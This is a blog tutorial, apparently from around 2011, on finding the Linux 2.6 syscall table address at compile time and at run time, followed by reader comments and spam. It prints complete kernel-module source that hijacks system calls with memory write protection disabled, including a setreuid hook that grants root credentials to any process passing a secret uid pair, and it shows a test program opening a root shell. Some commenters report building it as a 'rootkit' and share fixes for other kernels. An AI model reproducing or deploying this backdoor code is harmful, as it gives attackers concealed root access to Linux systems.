Syscall Hijacking: Dynamically obtain syscall table address (kernel 2.6.x)
Hi. In this post I’ll show you how to obtain dynamically the syscall table address. In the last posts (this and this) I wrote codes in which the syscall table address was hardcoded (as suggested by sj).
Now I’ll show you how to dinamically obtain it.
Searching online you’ll see that there are lot of functions that seek the syscall address between some other variable addresses defined in “/boot/System.map-kerne_version”.
Here is an example (by kerneltrap.org):
unsigned long **find_sys_call_table(void) { unsigned long **sctable; unsigned long ptr; extern int loops_per_jiffy; sctable = NULL; for (ptr = (unsigned long)&loops_per_jiffy; ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)) { unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close) { sctable = (unsigned long **)p; return &sctable[0]; } } return NULL; }
This function searches the syscall address between the “loops_per_jiffy” and “cpu_boot_data” addresses. This code doesn’t make sense in the lastest kernel releases because “loops_per_jiffy” has been “moved”, so sys_call_table is not between it and “boot_cpu_data” any more. Furthermore, it is based on the erroneous assumption that “sys_call_table” is always between two fixed addresses. Its position may change and this is true not only for the lastest kernel release, but also for the older ones.
For example in my ubuntu machine (kernel 2.6.35-24-generic):
spaccio@spaccio-laptop:~$ cat /boot/System.map-2.6.35-24-generic |grep -e "D loops_per_jiffy" -e "sys_call_table" -e "D boot_cpu_data" c05d3180 R sys_call_table c07c8bc8 D loops_per_jiffy c0815040 D boot_cpu_data spaccio@spaccio-laptop:~$
As you can see:
c05d3180 (sys_call_table) < c07c8bc8 (loops_per_jiffy) < c0815040 (boot_cpu_data)
So: how can we be sure to obtain the correct address?
We can do a brute force scan on memory addresses searching for the syscall table address: but this is a bad solution.
Instead I’ve found two solutions: the first one finds the address at compile-time; the second one finds the address at run-time when the kernel module is loaded into the memory.
– Finding syscall table address at compile-time
We can simply obtain the syscall table address using some shell (bash) commands in the “Makefile”. So at first we scan the “System.map-kernel_version” file searching for the syscall address. Next we replace it into the kernel module and we compile it as usual.
Here is the bash command that finds the syscall table address into “System.map-kernel_version”:
spaccio@spaccio-laptop:~$ grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}' c05d3180 spaccio@spaccio-laptop:~$
So we have to write a bash executable (compile.sh) that:
– finds the syscall table address;
– inserts it into the .c source;
– runs the Makefile;
Here is the bash file (“compile.sh”):
#!/bin/bash TABLE=$(grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}') sed -i s/TABLE/$TABLE/g hijack.c make
spaccio@spaccio-laptop:~$ chmod +x compile.sh spaccio@spaccio-laptop:~$
Here is the “Makefile”:
obj-m := hijack.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
Here is the LKM (“hijack.c”):
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> #include <linux/types.h> #include <linux/unistd.h> #include <asm/cacheflush.h> #include <asm/page.h> #include <asm/current.h> #include <linux/sched.h> #include <linux/kallsyms.h> unsigned long *syscall_table = (unsigned long *)0xTABLE; asmlinkage int (*original_write)(unsigned int, const char __user *, size_t); asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) { // hijacked write printk(KERN_ALERT "WRITE HIJACKED"); return (*original_write)(fd, buf, count); } static int init(void) { printk(KERN_ALERT "\nHIJACK INIT\n"); write_cr0 (read_cr0 () & (~ 0x10000)); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = new_write; write_cr0 (read_cr0 () | 0x10000); return 0; } static void exit(void) { write_cr0 (read_cr0 () & (~ 0x10000)); syscall_table[__NR_write] = original_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "MODULE EXIT\n"); return; } module_init(init); module_exit(exit);
We can compile it:
spaccio@spaccio-laptop:~$ sh compile.sh make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod2 modules make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic" CC [M] /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.o /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘init’: /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:33: warning: assignment makes integer from pointer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘exit’: /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:44: warning: assignment makes integer from pointer without a cast Building modules, stage 2. MODPOST 1 modules LD [M] /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.ko make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic"
Now if you open the “hijack.c” file you’ll see that instead of the “TABLE” there is the syscall table address:
spaccio@spaccio-laptop:~$ cat hijack.c |grep *syscall_table unsigned long *syscall_table = (unsigned long *)0xc05d3180; spaccio@spaccio-laptop:~$
We can run it:
spaccio@spaccio-laptop:~$ sudo insmod hijack.ko spaccio@spaccio-laptop:~$
Great, it works!
This is a very simple, working and efficient solution, but I wanted a more sophisticated one.
– Finding syscall table address at run-time
I invented this method, so it might not be very elegant and/or efficient (any help will be appreciated for improvements). I wanted to open and search the syscall table address into the “System.map-kernel_version” file via a LKM.
In order to obtain the syscall table address at run-time we have to follow this steps:
1 – Find where the system stores the kernel version that we are using. When we have found the kernel version we can open the relative “/boot/System.map-kernel_version” file;
2 – Open the “/boot/System.map-kernel_version” file found at step 1.
3 – Search for the syscall table address and use it;
We can find the kernel version reading it from the “/proc/” filesystem. We are especially interested in a file:
spaccio@spaccio-laptop:~$ cat /proc/version Linux version 2.6.35-24-generic (buildd@vernadsky) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5) ) #42-Ubuntu SMP Thu Dec 2 01:41:57 UTC 2010 spaccio@spaccio-laptop:~$
The “version” file consists of a string describing the Linux kernel version number. It contains the version information that would be obtained by the uname (man uname) system call plus additional information such as the version of the compiler that was used to compile the kernel.
The following function opens the “/proc/version” file and tokenizes the string in order to obtain only the kernel version string:
... #define PROC_V "/proc/version" #define MAX_LEN 256 ... char *search_file(char *buf) { struct file *f; char *ver; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); f = filp_open(PROC_V, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return NULL; } memset(buf, 0, MAX_LEN); vfs_read(f, buf, MAX_LEN, &f->f_pos); ver = strsep(&buf, " "); ver = strsep(&buf, " "); ver = strsep(&buf, " "); printk(KERN_ALERT "Kernel version found: %s\n", ver); filp_close(f, 0); set_fs(oldfs); return ver; }
As you can see, I open the “/proc/version” file and I read MAX_LEN byte from it. (If you want to know how we can open/read/write to a file in a kernel space, you should read this).
So we have in the “buf” variable a string: the string shows our kernel version and other informations. We only extract the kernel version through the “strsep()” function (man strsep). In kernel space we can’t use the “strtok()” function (it’s not defined), so we have to use the “strsep()” one.
Now we have the kernel version: we can proceed to the second and third steps.
First we must open the “/boot/System.map-kernel_version” file where we have to replace “kernel_version” with the kernel version found at step 1. We read strings line by line from this file until the “sys_call_table” string is found. We tokenize the string obtaining the relative address and we’ll use it to hijack the system calls we are interested.
Here is the code:
... #define BOOT_PATH "/boot/System.map-" ... static int find_sys_call_table (char *kern_ver) { char buf[MAX_LEN]; int i = 0; char *filename; char *p; struct file *f = NULL; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL); if ( filename == NULL ) { return -1; } memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1); strncpy(filename, BOOT_PATH, strlen(BOOT_PATH)); strncat(filename, kern_ver, strlen(kern_ver)); printk(KERN_ALERT "\nPath %s\n", filename); f = filp_open(filename, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return -1; } memset(buf, 0x0, MAX_LEN); p = buf; while (vfs_read(f, p+i, 1, &f->f_pos) == 1) { if ( p[i] == '\n' || i == 255 ) { i = 0; if ( (strstr(p, "sys_call_table")) != NULL ) { char *sys_string; sys_string = kmalloc(MAX_LEN, GFP_KERNEL); if ( sys_string == NULL ) { filp_close(f, 0); set_fs(oldfs); kfree(filename); return -1; } memset(sys_string, 0, MAX_LEN); strncpy(sys_string, strsep(&p, " "), MAX_LEN); syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16); kfree(sys_string); break; } memset(buf, 0x0, MAX_LEN); continue; } i++; } filp_close(f, 0); set_fs(oldfs); kfree(filename); return 0; }
Code explanation:
– row 19: we allocate enaugh space to “filename” in order to contain the string “/boot/System.map-kernel_version”. The “kmalloc()” function is like the “malloc()” in kernel space. The second parameter is the kernel priority: “GFP_KERNEL” means “normal allocation”.
– rows 21 to 42: we open the “/boot/System.map-kernel_version” file;
– row 44: “p” points to “buf” because the “strsep()” function needs a “char **” as first parameter;
– row 46: in the “while” loop we read one byte at once (I want to store in “buf” only one line at once);
– row 48: if we have reached the end of line or we have read too much bytes, we can check for the “sys_call_table” string;
– rows 52 to 77: if there is match, we store into “sys_string” the first token of the line, that is:
c05d3180 R sys_call_table
As you can see the first token is exactly the syscall table address. In the row 72 we convert the address from a string format to a long integer through the “simple_strtoll()” function (it’s like the” strtoll()” function (man strtoll)). Next we assign this value to “syscall_table”.
– row 90: the “kfree()” function is like the “free()” function.
I show you the full module source code (“kernel_sys.c”): once we obtain the syscall table address we hijack the “__NR_setreuid32” syscall (I suggest you read this and this if you have not already done so):
#include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/module.h> #include <linux/syscalls.h> #include <linux/file.h> #include <linux/fs.h> #include <linux/fcntl.h> #include <asm/uaccess.h> #include <linux/version.h> #include <linux/syscalls.h> #define PROC_V "/proc/version" #define BOOT_PATH "/boot/System.map-" #define MAX_LEN 256 unsigned long *syscall_table; int sys_found = 0; asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid); asmlinkage int new_setreuid (uid_t ruid, uid_t euid) { struct cred *new; if ((ruid == 7310) && (euid == 0137)) { printk(KERN_ALERT "[Correct] \n"); #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; #else new = prepare_creds(); if ( new != NULL ) { new->uid = new->gid = 0; new->euid = new->egid = 0; new->suid = new->sgid = 0; new->fsuid = new->fsgid = 0; commit_creds(new); } #endif return orig_setreuid (0, 0); } return orig_setreuid (ruid, euid); } char *search_file(char *buf) { struct file *f; char *ver; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); f = filp_open(PROC_V, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return NULL; } memset(buf, 0, MAX_LEN); vfs_read(f, buf, MAX_LEN, &f->f_pos); ver = strsep(&buf, " "); ver = strsep(&buf, " "); ver = strsep(&buf, " "); filp_close(f, 0); set_fs(oldfs); return ver; } static int find_sys_call_table (char *kern_ver) { char buf[MAX_LEN]; int i = 0; char *filename; char *p; struct file *f = NULL; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL); if ( filename == NULL ) { return -1; } memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1); strncpy(filename, BOOT_PATH, strlen(BOOT_PATH)); strncat(filename, kern_ver, strlen(kern_ver)); printk(KERN_ALERT "\nPath %s\n", filename); f = filp_open(filename, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return -1; } memset(buf, 0x0, MAX_LEN); p = buf; while (vfs_read(f, p+i, 1, &f->f_pos) == 1) { if ( p[i] == '\n' || i == 255 ) { i = 0; if ( (strstr(p, "sys_call_table")) != NULL ) { char *sys_string; sys_string = kmalloc(MAX_LEN, GFP_KERNEL); if ( sys_string == NULL ) { filp_close(f, 0); set_fs(oldfs); kfree(filename); return -1; } memset(sys_string, 0, MAX_LEN); strncpy(sys_string, strsep(&p, " "), MAX_LEN); syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16); kfree(sys_string); break; } memset(buf, 0x0, MAX_LEN); continue; } i++; } filp_close(f, 0); set_fs(oldfs); kfree(filename); return 0; } static int init(void) { char *kern_ver; char *buf; buf = kmalloc(MAX_LEN, GFP_KERNEL); if ( buf == NULL ) { sys_found = 1; return -1; } printk(KERN_ALERT "\nHIJACK INIT\n"); kern_ver = search_file(buf); if ( kern_ver == NULL ) { sys_found = 1; return -1; } printk(KERN_ALERT "Kernel version found: %s\n", kern_ver); if ( find_sys_call_table(kern_ver) == -1 ) { sys_found = 1; return -1; } sys_found = 0; write_cr0 (read_cr0 () & (~ 0x10000)); orig_setreuid = syscall_table[__NR_setreuid32]; syscall_table[__NR_setreuid32] = new_setreuid; write_cr0 (read_cr0 () | 0x10000); kfree(buf); return 0; } static void exit(void) { if ( sys_found == 0 ) { write_cr0 (read_cr0 () & (~ 0x10000)); syscall_table[__NR_setreuid32] = orig_setreuid; write_cr0 (read_cr0 () | 0x10000); } printk(KERN_ALERT "\nHIJACK EXIT\n"); return; } module_init(init); module_exit(exit);
The “sys_found” variable is used for control purposes.
Here is the Makefile:
obj-m := kernel_sys.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
Here is our simple script (“test.c”):
#include <stdio.h> int main () { setreuid (7310, 0137); system ("/bin/sh"); return 0; }
We can compile it:
spaccio@spaccio-laptop:~$ make make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic" CC [M] /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.o /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘find_sys_call_table’: /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: cast to pointer from integer of different size /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: assignment from incompatible pointer type /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘init’: /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:221: warning: assignment makes pointer from integer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:222: warning: assignment makes integer from pointer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘exit’: /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:239: warning: assignment makes integer from pointer without a cast Building modules, stage 2. MODPOST 1 modules CC /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.mod.o LD [M] /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.ko make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic" spaccio@spaccio-laptop:~$
Next we load the module and we check if it finds the correct version of kernel and if it opens the relative “System.map-kernel_version”:
spaccio@spaccio-laptop:~$ sudo insmod kernel_sys.ko spaccio@spaccio-laptop:~$ dmesg | tail [ 5085.877145] HIJACK INIT [ 5085.877182] Kernel version found: 2.6.35-24-generic [ 5085.877189] [ 5085.877191] Path /boot/System.map-2.6.35-24-generic [ 5102.441298] spaccio@spaccio-laptop:~$
Everything seems right.
Now we can test it with our simple script (“test.c”):
spaccio@spaccio-laptop:~$ gcc test.c -o test spaccio@spaccio-laptop:~$ ./test # whoami root # exit
It seems to work! Wow…
– Conclusions
I’ve showed you two ways to find the syscall table address: one at compile-time and the other at run-time.
You can use what you want and if you have any questions or suggests you can use comments.
Bye.
Leave a reply to dogasantos Cancel reply
Recent Posts
Categories
Archives
- April 2012 (1)
- November 2011 (1)
- May 2011 (1)
- April 2011 (1)
- March 2011 (1)
- February 2011 (1)
- January 2011 (1)
- December 2010 (2)
- November 2010 (1)
- October 2010 (14)
- 178,507 hits
These are not two different ways. For all purposes they are the same way.
It seems obvious to me: the purpose is to dinamically find the syscall table…
Thanks! Great stuff man!
Module compiled. But when I try to insmod — i have this error: “Unknown symbol simple_strtoll”.
It seems odd that you don’t have a link to “simple_strtoll()” function. Have you checked that you are including all the necessary libraries?
While inserting:
sudo insmod ./rootkit32.ko
insmod: error inserting ‘./rootkit32.ko’: -1 Unknown symbol in module
And Warning durinf compilation:
WARNING: “simple_strtoll” [/home/sov1et/Dropbox/Coding/modules/syscall/rootkit32.ko] undefined!
hi
i follow your hijack.c on redhat as5.5 x86_64(it is a xen domU vm,with kernel version 2.6.18-194.17.1.el5xen),and the sys_call_table is at:
grep sys_call_table /boot/System.map-$(uname -r)
ffffffff8047af40 R sys_call_table
ffffffff8047bf00 r ia32_sys_call_table
i use the “ffffffff8047af40”,as showed below:
unsigned long *syscall_table = (unsigned long *)0xffffffff8047af40;
when i run compile.sh and try to insmod the ko,the system just shutdown and reboot,
the console shows:
insmod aa.ko
aa: module license ‘unspecified’ taints kernel.
HIJACK INIT
general protection fault: 0000 [1] SMP
last sysfs file: /class/net/virbr0/address
CPU 0
Modules linked in: aa(PU) ipt_MASQUERADE iptable_nat ip_nat xt_state ip_conntrack nfnetlink ipt_REJECT xt_tcpudp iptable_filter ip_tables x_tables tun bridge be2iscsi ib_iser rdma_cm ib_cm iw_cm ib_sa ib_mad ib_core ib_addr iscsi_tcp bnx2i cnic ipv6 xfrm_nalgo crypto_api uio cxgb3i cxgb3 8021q libiscsi_tcp libiscsi2 scsi_transport_iscsi2 scsi_transport_iscsi loop dm_mirror dm_multipath scsi_dh scsi_mod parport_pc lp parport xennet pcspkr dm_raid45 dm_message dm_region_hash dm_log dm_mod dm_mem_cache xenblk ext3 jbd uhci_hcd ohci_hcd ehci_hcd
Pid: 2341, comm: insmod Tainted: P 2.6.18-194.17.1.el5xen #1
RIP: e030:[] [] :aa:init+0x1b/0x4a
RSP: e02b:ffff8800296fff48 EFLAGS: 00010202
RAX: 000000008004003b RBX: ffffffff88460580 RCX: ffffffff804f9c28
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
RBP: 000000000e1a5030 R08: ffffffff804f9c28 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000028559
R13: 00002ba08b4a1010 R14: 0000000000040000 R15: 0000000000040000
FS: 00002ba08b4a0210(0000) GS:ffffffff805d2000(0000) knlGS:0000000000000000
CS: e033 DS: 0000 ES: 0000
Process insmod (pid: 2341, threadinfo ffff8800296fe000, task ffff880027ad3100)
Stack: 00002ba08b4a1010 ffffffff802a2724 0000000000040000 00002ba08b4a1010
0000000000000003 00007fffd70dce42 0000000000028559 ffffffff80260106
0000000000000202 0000003d742c5f80
Call Trace:
[] sys_init_module+0xaf/0x1f2
[] system_call+0x86/0x8b
[] system_call+0x0/0x8b
Code: 0f 22 c0 48 8b 15 f7 04 00 00 48 83 c2 08 48 8b 02 48 89 05
RIP [] :aa:init+0x1b/0x4a
RSP
Kernel panic – not syncing: Fatal exception
what wrong with it ?
You can try adding the following line to the module source code:
MODULE_LICENSE(“GPL”)
Bye.
I have the same problem. As far as I can tell, xen doesn’t like the call to write_cr0(). However, xen also doesn’t appear to need it either; just compile your code without the GPF protection listed here and it should work.
i think its better to use /proc/kallsyms instead of the kernel map file
Sure, it might be a solution.
Bye.
Great article! Thank you so much.
Everything works fine under Ubuntu 10.10 x86 and openSUSE 11.3 x64.
Thanks :-)
Hello,
this works fine on RHEL5-base kernel, but I had to make some minor changes:
– I’m on 64b kernel, so I used __NR_setreuid instead of __NR_setreuid32 (it does not exists for me)
– I renamed the exit() function, that makes some strange collision with the defined original exit() function when compiling.
– on this kernel version simple_strtoll() is not defined/not exported (did not check). I copied the corresponding code (which is really simple) in the module and it works.
Thanks for sharing.
Thank you for this information. It will certainly be helpful to RHEL5-base kernel users.
Bye.
Good article, Everything is fine under ubuntu 32 and 64 bit version. But when I use same code on linux-2.6.32.44-pv kernal(used as xen hypervisor dom0),the statement ‘syscall_table[__NR_open]=new_open’ in init function cause error while running. Any suggestion to solve this problem.
‘
Recently I tried LKM to hijack execv() system call.It working fine expect one condition. when I type gedit from command line, it work well. But when I choose gedit from Application the error ‘gnome-panel[8106]: segfault at 3b ip 000000000000003b sp 00007fffde9ff5b8 error 14 in gnome-panel[400000+98000]’ is occurred and not start the program. Please help to solve this problem. Thanks in advance..
It Works Fine…g8 stuff man.!
Hi! great post memset!
I create a easy function to open() System map, parse the file to get the right value.
Not so elegant, but works as expected.
cya!
Add: my code use a different aproach to do the same thing. And you can see it right here: http://pastebin.com/8VMN6vF6
I have read so many articles or reviews on the topic of the blogger lovers however this article is in fact a good article, keep it up.
What’s up, its good piece of writing on the topic of media print, we all know media is a impressive source of information.
It’s perfect time to make some plans for the long run and it’s time to be happy.
I have read this publish and if I could I desire to
recommend you some interesting issues or advice. Maybe you could
write subsequent articles regarding this article. I want to learn more issues approximately it!
That is a good tip particularly to those fresh to the blogosphere.
Brief but very precise information… Thanks for sharing
this one. A must read article!
Howdy excellent website! Does running a blog like this take a
massive amount work? I’ve very little knowledge of coding but I was hoping to start my
own blog in the near future. Anyway, should you have any recommendations or tips for new blog owners
please share. I understand this is off subject however I just had to
ask. Many thanks!
Hi there all, here every one is sharing such experience, therefore it’s fastidious
to read this blog, and I used to pay a quick visit this
weblog everyday.
Great blog here! Also your site loads up fast!
What host are you using? Can I get your affiliate link to your host?
I wish my site loaded up as quickly as yours lol
A Java-based platform may have not far more than you’ll
need so as to position trades, and you will need to make use of some external charting program in order to look at price data.
There can be a many choices, as any search about the Internet will advise you, and they also might be pricey.
After that, you can log in with your password.